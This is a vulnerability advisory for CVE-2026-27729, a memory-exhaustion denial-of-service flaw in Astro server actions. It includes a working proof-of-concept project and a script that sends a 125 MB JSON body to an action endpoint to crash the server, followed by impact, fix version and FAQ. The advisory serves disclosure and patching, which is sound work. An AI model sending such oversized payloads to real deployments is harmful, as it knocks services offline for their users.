CVE-2026-27729: Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
<details>
Setup
Create a new Astro project with the following files:
package.json: json { "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }
astro.config.mjs: javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/actions/index.ts: typescript import { defineAction } from 'astro:actions'; import { z } from 'astro:schema';
export const server = { echo: defineAction({ input: z.object({ data: z.string() }), handler: async (input) => ({ received: input.data.length }), }), };
src/pages/index.astro: astro --- --- <html><body><p>Server running</p></body></html>
crash-test.mjs: javascript const payload = JSON.stringify({ data: 'A'.repeat(125 1024 1024) });
console.log('Sending 125 MB payload...'); try { const res = await fetch('http://localhost:4321/actions/echo', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: payload, }); console.log('Status:', res.status); } catch (e) { console.log('Server crashed:', e.message); }
Reproduction
bash npm install && npm run build
Terminal 1: Start server with 128 MB memory limit npm run start:128mb
Terminal 2: Send 125 MB payload node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
</details>
Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
Other sources
Astro is a web framework. In versions 9.0.0 through 9.5.3, Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments. On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server. Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop. Action names are discoverable from HTML form attributes on any public page, so no authentication is required. The vulnerability allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments. Version 9.5.4 contains a fix.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27729?
CVE-2026-27729 has a high severity level due to its potential for memory exhaustion denial-of-service attacks.
How do I fix CVE-2026-27729?
To fix CVE-2026-27729, upgrade to version 9.5.4 or higher of the @astrojs/node package.
What software is affected by CVE-2026-27729?
CVE-2026-27729 affects Astro versions between 9.0.0 and 9.5.3.
What type of vulnerability is CVE-2026-27729?
CVE-2026-27729 is a memory exhaustion Denial of Service (DoS) vulnerability.
How does CVE-2026-27729 impact server performance?
If exploited, CVE-2026-27729 can crash the server process, leading to significant downtime and disruptions.